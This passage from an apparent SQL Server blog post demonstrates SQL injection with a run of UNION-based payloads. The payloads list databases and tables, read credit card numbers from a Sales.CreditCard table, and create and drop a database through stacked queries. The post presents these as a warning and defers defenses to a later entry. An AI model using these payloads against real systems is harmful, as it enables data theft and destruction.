XYZ' UNION SELECT 1, name, 'TEST', 1.23 FROM master.sys.databases; SELECT '

Good grief!

XYZ' UNION SELECT 1, TABLE_CATALOG + '.' + TABLE_SCHEMA, TABLE_NAME, 1.23 FROM INFORMATION_SCHEMA.TABLES; SELECT '

...

XYZ' UNION SELECT 1, CardNumber, 'Test', 1.23 FROM Sales.CreditCard; SELECT '

Uh. Not good.

XYZ' UNION SELECT 1, TABLE_CATALOG + '.' + TABLE_SCHEMA, TABLE_NAME, 1.23 FROM INFORMATION_SCHEMA.TABLES; CREATE DATABASE Test; SELECT '
then run
XYZ' UNION SELECT 1, name, 'TEST', 1.23 FROM master.sys.databases; SELECT '

!!!

XYZ' UNION SELECT 1, TABLE_CATALOG + '.' + TABLE_SCHEMA, TABLE_NAME, 1.23 FROM INFORMATION_SCHEMA.TABLES; DROP DATABASE Test; SELECT '
then run
XYZ' UNION SELECT 1, name, 'TEST', 1.23 FROM master.sys.databases; SELECT '

Pull the plug! Now!

As you can see things can go from bad to worse with SQL Injections fairly quickly. Largely depending upon the rights of the connection's login and the skills of the hacker you could have a very serious problem not only with your database and database servers but your entire network and all your servers. And this is just scratching the surface!

Stopping the SQL Injection Attacks

I am going to hold off on this until the next post. In the meantime: SQL Injection Attacks. Be Afraid. Be Very Afraid!

Categories: SQL Server
Permalink | Comments (0) | Post RSSRSS comment feed